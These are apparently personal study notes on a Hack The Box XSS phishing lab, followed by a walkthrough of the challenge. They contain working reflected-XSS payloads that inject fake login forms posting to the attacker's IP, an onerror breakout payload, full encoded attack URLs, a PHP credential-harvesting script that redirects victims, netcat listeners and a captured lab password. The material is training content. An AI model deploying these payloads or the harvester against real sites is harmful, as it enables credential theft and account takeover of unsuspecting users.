Phishing (XSS)

Phishing

Another very common type of XSS attack is a phishing attack. Phishing attacks usually utilize legitimate-looking information to trick the victims into sending their sensitive information to the attacker. A common form of XSS phishing attacks is through injecting fake login forms that send the login details to the attacker's server, which may then be used to log in on behalf of the victim and gain control over their account and sensitive information.

Furthermore, suppose we were to identify an XSS vulnerability in a web application for a particular organization. In that case, we can use such an attack as a phishing simulation exercise, which will also help us evaluate the security awareness of the organization's employees, especially if they trust the vulnerable web application and do not expect it to harm them.

XSS Discovery

We start by attempting to find the XSS vulnerability in the web application at /phishing from the server at the end of this section. When we visit the website, we see that it is a simple online image viewer, where we can input a URL of an image, and it'll display it:

http://SERVER_IP/phishing/index.php?url=https://www.hackthebox.eu/images/logo-htb.svg
Online Image Viewer with Hack The Box logo.|500

This form of image viewers is common in online forums and similar web applications. As we have control over the URL, we can start by using the basic XSS payload we've been using. But when we try that payload, we see that nothing gets executed, and we get the dead image url icon:

http://SERVER_IP/phishing/index.php?url=<script>alert(window.origin)</script>
Online Image Viewer with Image URL input.|500

So, we must run the XSS Discovery process we previously learned to find a working XSS payload. Before you continue, try to find an XSS payload that successfully executes JavaScript code on the page.

Tip: To understand which payload should work, try to view how your input is displayed in the HTML source after you add it.

Login Form Injection

Once we identify a working XSS payload, we can proceed to the phishing attack. To perform an XSS phishing attack, we must inject HTML code that displays a login form on the targeted page. This form should send the login information to a server we are listening on, such that once a user attempts to log in, we'd get their credentials.

We can easily find HTML code for a basic login form, or we can write our own login form. The following example should present a login form:

<h3>Please login to continue</h3>
<form action=http://OUR_IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

In the above HTML code, OUR_IP is the IP of our VM, which we can find with the (ip a) command under tun0. We will later be listening on this IP to retrieve the credentials sent from the form. The login form should look as follows:

<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>

Next, we should prepare our XSS code and test it on the vulnerable form. To write HTML code to the vulnerable page, we can use the JavaScript function document.write(), and use it in the XSS payload we found earlier in the XSS Discovery step. Once we minify our HTML code into a single line and add it inside the write function, the final JavaScript code should be as follows:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

We can now inject this JavaScript code using our XSS payload (i.e., instead of running the alert(window.origin) JavaScript Code). In this case, we are exploiting a Reflected XSS vulnerability, so we can copy the URL and our XSS payload in its parameters, as we've done in the Reflected XSS section, and the page should look as follows when we visit the malicious URL:

http://SERVER_IP/phishing/index.php?url=...SNIP...
Online Image Viewer with Image URL input and login fields.|500

Cleaning Up

We can see that the URL field is still displayed, which defeats our line of "Please login to continue". So, to encourage the victim to use the login form, we should remove the URL field, such that they may think that they have to log in to be able to use the page. To do so, we can use the JavaScript function document.getElementById().remove() function.

To find the id of the HTML element we want to remove, we can open the Page Inspector Picker by clicking [CTRL+SHIFT+C] and then clicking on the element we need:

Page Inspector Picker

As we see in both the source code and the hover text, the url form has the id urlform:

<form role="form" action="index.php" method="GET" id='urlform'>
    <input type="text" placeholder="Image URL" name="url">
</form>

So, we can now use this id with the remove() function to remove the URL form:

document.getElementById('urlform').remove();

Now, once we add this code to our previous JavaScript code (after the document.write function), we can use this new JavaScript code in our payload:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>'); document.getElementById('urlform').remove();

When we try to inject our updated JavaScript code, we see that the URL form is indeed no longer displayed:

http://SERVER_IP/phishing/index.php?url=...SNIP...
Online Image Viewer with Image URL input and login fields for Username and Password.|500

We also see that there's still a piece of the original HTML code left after our injected login form. This can be removed by simply commenting it out, by adding an HTML opening comment after our XSS payload:

...PAYLOAD... <!-- 

As we can see, this removes the remaining bit of original HTML code, and our payload should be ready. The page now looks like it legitimately requires a login:

http://SERVER_IP/phishing/index.php?url=...SNIP...
Online Image Viewer with Username and Password login fields.|500

We can now copy the final URL that should include the entire payload, and we can send it to our victims and attempt to trick them into using the fake login form.

Credential Stealing

Finally, we come to the part where we steal the login credentials when the victim attempts to log in on our injected login form. If you tried to log into the injected login form, you would probably get the error This site can’t be reached. This is because, as mentioned earlier, our HTML form is designed to send the login request to our IP, which should be listening for a connection. If we are not listening for a connection, we will get a site can’t be reached error.

So, let us start a simple netcat server and see what kind of request we get when someone attempts to log in through the form. To do so, we can start listening on port 80 in our Pwnbox, as follows:

m4cc18@htb[/htb]$ sudo nc -lvnp 80 
listening on [any] 80 ...

Now, let's attempt to login with the credentials test:test, and check the netcat output we get (don't forget to replace OUR_IP in the XSS payload with your actual IP):

connect to [10.10.XX.XX] from (UNKNOWN) [10.10.XX.XX] XXXXX
GET /?username=test&password=test&submit=Login HTTP/1.1
Host: 10.10.XX.XX
...SNIP...

As we can see, we can capture the credentials in the HTTP request URL (/?username=test&password=test). If any victim attempts to log in with the form, we will get their credentials.

However, as we are only listening with a netcat listener, it will not handle the HTTP request correctly, and the victim would get an Unable to connect error, which may raise some suspicions. So, we can use a basic PHP script that logs the credentials from the HTTP request and then returns the victim to the original page without any injections. In this case, the victim may think that they successfully logged in and will use the Image Viewer as intended.

The following PHP script should do what we need, and we will write it to a file on our VM that we'll call index.php and place it in /tmp/tmpserver/ (don't forget to replace SERVER_IP with the ip from our exercise):

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

Now that we have our index.php file ready, we can start a PHP listening server, which we can use instead of the basic netcat listener we used earlier:

m4cc18@htb[/htb]$ mkdir /tmp/tmpserver 
$ cd /tmp/tmpserver 
$ vi index.php #at this step we wrote our index.php file 
$ sudo php -S 0.0.0.0:80 
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

Let's try logging into the injected login form and see what we get. We see that we get redirected to the original Image Viewer page:

http://SERVER_IP/phishing/index.php
Online Image Viewer with Image URL input.|500

If we check the creds.txt file in our Pwnbox, we see that we did get the login credentials:

m4cc18@htb[/htb]$ cat creds.txt 
Username: test | Password: test

With everything ready, we can start our PHP server and send the URL that includes our XSS payload to our victim, and once they log into the form, we will get their credentials and use them to access their accounts.


Exercise

TARGET: 10.129.234.166

Challenge 1

Try to find a working XSS payload for the Image URL form found at '/phishing' in the above server, and then use what you learned in this section to prepare a malicious URL that injects a malicious login form. Then visit '/phishing/send.php' to send the URL to the victim, and they will log into the malicious login form. If you did everything correctly, you should receive the victim's login credentials, which you can use to login to '/phishing/login.php' and obtain the flag.

Clean Method (pretty but restricted)

Overview

To find a working XSS payload for the Image URL form located a /phishing, we need to craft a malicious URL that injects a fake login form by injecting code. (payload from earlier in the section), for example:

<script>document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>'); document.getElementById('urlform').remove();</script>

First steps

Start with typing a simple payload to identify where in the source code it is being loaded, for example test123:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Online Image Viewer</title>
</head>

<body style="background-color: #141d2b; font-family: sans-serif; color: white;">
    <center>
        <h1>Online Image Viewer</h1>
        <div class="form-group">
            <form role="form" action="index.php" method="GET" id='urlform'>
                <input type="text" placeholder="Image URL" name="url">
            </form>
            <br>
            <img src='test123'>        </div>
    </center>
</body>

</html>

Crafting the payload

Logic

Look at the following code:

  1. It will make sure the code is actually executed, not just used as a URL → you must get it into an event handler or script tag.
  2. Don’t rely on document.write when you want to preserve the existing DOM → use DOM methods instead.
var f = document.getElementById('urlform');
if (f) {
  // Insert your new HTML after the form
  f.insertAdjacentHTML(
    'afterend',
    '<h3>Please login to continue</h3>' +
    '<form>' +
      '<input type=text name=user placeholder=Username>' +
      '<input type=password name=pass placeholder=Password>' +
      '<input type=submit value=Login>' +
    '</form>'
  );
  // Remove the original URL form
  f.remove();
}

Breaking the src= attribute

Now we want to break out of that src attribute so that we can run our payload successfully, how can we do that?

Given:

<img src='URL_HERE'>

Example (source code view):

<img src='x' onerror="alert(1)">

Payload:

x' onerror="alert(1)"

Applying exactly this to a working payload take a look at how it would look like in the source code once the payload is entered:

<img src='x' onerror="var f=document.getElementById('urlform');if(f){f.insertAdjacentHTML('afterend','<h3>Please login to continue</h3><form><input type=text name=user placeholder=Username><input type=password name=pass placeholder=Password><input type=submit value=Login></form>');f.remove();}' >

Loading the payload into the "Image URL" field

Our final payload (what we need to input into the "Image URL" field) looks as follows:

x' onerror="var f=document.getElementById('urlform');if(f){f.insertAdjacentHTML('afterend','<h3>Please login to continue</h3><form><input type=text name=user placeholder=Username><input type=password name=pass placeholder=Password><input type=submit value=Login></form>');f.remove();}"

After we hit [Enter], this is what it looks like:
Pasted image 20251205132909.png

Modify payload to capture credentials

Look at how our previous payload was cosntructed (example from HTB):

<h3>Please login to continue</h3>
<form action=http://OUR_IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

Lets implement this action function into our working payload from above:

var f = document.getElementById('urlform');
if (f) {
  // Insert your new HTML after the form
  f.insertAdjacentHTML(
    'afterend',
    '<h3>Please login to continue</h3>' +
    '<form action=http://OUR_IP>' +
      '<input type=text name=user placeholder=Username>' +
      '<input type=password name=pass placeholder=Password>' +
      '<input type=submit value=Login>' +
    '</form>'
  );
  // Remove the original URL form
  f.remove();
}

This will make our final new payload look as follows:

x' onerror="var f=document.getElementById('urlform');if(f){f.insertAdjacentHTML('afterend','<h3>Please login to continue</h3><form action=http://OUR_IP><input type=text name=user placeholder=Username><input type=password name=pass placeholder=Password><input type=submit value=Login></form>');f.remove();}"

Retrieve your own IP and start listening

Run ip a or ifconfig to see your own ip, in my case:

3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 10.10.14.2/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::1000/64 scope global
       valid_lft forever preferred_lft forever
    inet6 fe80::7c33:6482:f6f7:44a6/64 scope link stable-privacy proto kernel_ll
       valid_lft forever preferred_lft forever

Now that we have ready our payload, let us start a simple netcat server and see what kind of request we get when someone attempts to log in through the form. To do so, we can start listening on port 80 in our VM, as follows:

┌──(macc㉿kaliLab)-[~]
└─$ sudo nc -l -p 80

Now, let's attempt to login with the credentials test:test, and check the netcat output we get:

GET /?user=test&pass=test HTTP/1.1
Host: 10.10.14.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://10.129.234.166/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

However, as we are only listening with a netcat listener, it will not handle the HTTP request correctly, and the victim would get an Unable to connect error, which may raise some suspicions. So, we can use a basic PHP script that logs the credentials from the HTTP request and then returns the victim to the original page without any injections. In this case, the victim may think that they successfully logged in and will use the Image Viewer as intended.

The following PHP script should do what we need, and we will write it to a file on our VM that we'll call index.php and place it in /tmp/tmpserver/ (don't forget to replace SERVER_IP with the ip from our exercise):

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

Now that we have our index.php file ready, we can start a PHP listening server, which we can use instead of the basic netcat listener we used earlier:

m4cc18@htb[/htb]$ mkdir /tmp/tmpserver 
$ cd /tmp/tmpserver 
$ vi index.php #at this step we wrote our index.php file 
$ sudo php -S 0.0.0.0:80 
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

Let's try logging into the injected login form and see what we get. We see that we get redirected to the original Image Viewer page:

http://SERVER_IP/phishing/index.php
Online Image Viewer with Image URL input.|500

If we check the creds.txt file in our Pwnbox, we see that we did get the login credentials:

m4cc18@htb[/htb]$ cat creds.txt 
Username: test | Password: test

With everything ready, we can start our PHP server and send the URL that includes our XSS payload to our victim, and once they log into the form, we will get their credentials and use them to access their accounts.


Finalize challenge by sending URL

Copy the URL of the page once the payload is applied:

http://10.129.234.166/phishing/index.php?url=x%27+onerror%3D%22var+f%3Ddocument.getElementById%28%27urlform%27%29%3Bif%28f%29%7Bf.insertAdjacentHTML%28%27afterend%27%2C%27%3Ch3%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2F10.10.14.2%3E%3Cinput+type%3Dtext+name%3Duser+placeholder%3DUsername%3E%3Cinput+type%3Dpassword+name%3Dpass+placeholder%3DPassword%3E%3Cinput+type%3Dsubmit+value%3DLogin%3E%3C%2Fform%3E%27%29%3Bf.remove%28%29%3B%7D%22

Visit /phishing/send.php in a new tab to paste our URL
Pasted image 20251205140427.png

Before submitting it, lets make sure we are listening to http (port 80) connections (same as above):

┌──(macc㉿kaliLab)-[~]
└─$ sudo nc -l -p 80

Click Send

http://10.129.234.166/phishing/index.php?url=x%27+onerror%3D%22var+f%3Ddocument.getElementById%28%27urlform%27%29%3Bif%28f%29%7Bf.insertAdjacentHTML%28%27afterend%27%2C%27%3Ch3%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2F10.10.14.2%3E%3Cinput+type%3Dtext+name%3Duser+placeholder%3DUsername%3E%3Cinput+type%3Dpassword+name%3Dpass+placeholder%3DPassword%3E%3Cinput+type%3Dsubmit+value%3DLogin%3E%3C%2Fform%3E%27%29%3Bf.remove%28%29%3B%7D%22

It works but it returns you to a white page, meaning some kind of connection restriction is happening which may be caused by my own network or HTB resources themselves.


Alternative allowed by HTB (ugly but right)

This method resembles the instructions from HTB themselves but does not care about how pretty the website looks, they do not clean the top "Image URL" field after injecting the payload, so it ends up looking like this.

Online Image Viewer with Image URL input and login fields.|500

Payload:

document.write('<h3>Please login to continue</h3><form action=http://10.10.14.2><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

Link (copied from browser):

http://10.129.234.166/phishing/index.php?url=document.write%28%27%3Ch3%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2F10.10.14.2%3E%3Cinput+type%3D%22username%22+name%3D%22username%22+placeholder%3D%22Username%22%3E%3Cinput+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E%3Cinput+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Login%22%3E%3C%2Fform%3E%27%29%3B

PHP server (index.php):

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

Command sequence to initialize php server and listen to http (port 80)

m4cc18@htb[/htb]$ mkdir /tmp/tmpserver 
$ cd /tmp/tmpserver 
$ vi index.php #at this step we wrote our index.php file 
$ sudo php -S 0.0.0.0:80 
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

Test: test:test

[Fri Dec  5 15:37:01 2025] PHP 8.4.11 Development Server (http://0.0.0.0:80) started
[Fri Dec  5 15:38:11 2025] 10.10.14.2:39552 Accepted
[Fri Dec  5 15:38:11 2025] 10.10.14.2:39552 [302]: GET /?username=test&password=test&submit=Login
[Fri Dec  5 15:38:11 2025] 10.10.14.2:39552 Closing

Visit /phishing/send.php in a new tab and paste our URL, make sure we are listening on the php server
Pasted image 20251205164757.png

Look at the php server logs:

[Fri Dec  5 15:47:40 2025] 10.129.234.166:33724 Accepted
[Fri Dec  5 15:47:40 2025] 10.129.234.166:33724 [302]: GET /?username=admin&password=p1zd0nt57341myp455&submit=Login
[Fri Dec  5 15:47:40 2025] 10.129.234.166:33724 Closing

To finalize this challenge visit /phishing/login.php to enter the credentials we just captured:
Pasted image 20251205165112.png

After hitting Login we get:
Pasted image 20251205165147.png

flag: HTB